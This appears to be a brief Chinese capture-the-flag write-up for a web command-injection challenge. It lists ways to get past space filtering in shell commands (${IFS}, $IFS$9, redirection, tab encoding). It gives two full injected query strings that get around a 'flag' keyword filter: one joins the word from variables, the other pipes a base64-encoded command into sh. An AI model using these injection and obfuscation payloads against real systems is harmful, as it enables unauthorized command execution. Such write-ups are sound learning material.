一进去,就只看见这个,很明显,提醒我们输入试试
成功,是关于Linux的命令执行,再继续尝试看看能够获取什么
使用ls可以发现
用cat打印flag试试,好家伙,直接开骂,应该是对空格进行了过滤
所以我们需要绕过空格过滤
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
%20(space)
%09(tab)
$IFS$9
${IFS}$9
{IFS}
IFS
当我使用$IFS$9时,结果flag也过滤掉了,于是看看index
可以看见直接出现了源码,过滤信息也都出现了,现在考虑如何绕过flag的过滤
有两种办法
1.通过定义变量实现拼接
/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$9$a$b.ph
2.通过执行sh命令来执行
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
然后f12,成功得到flag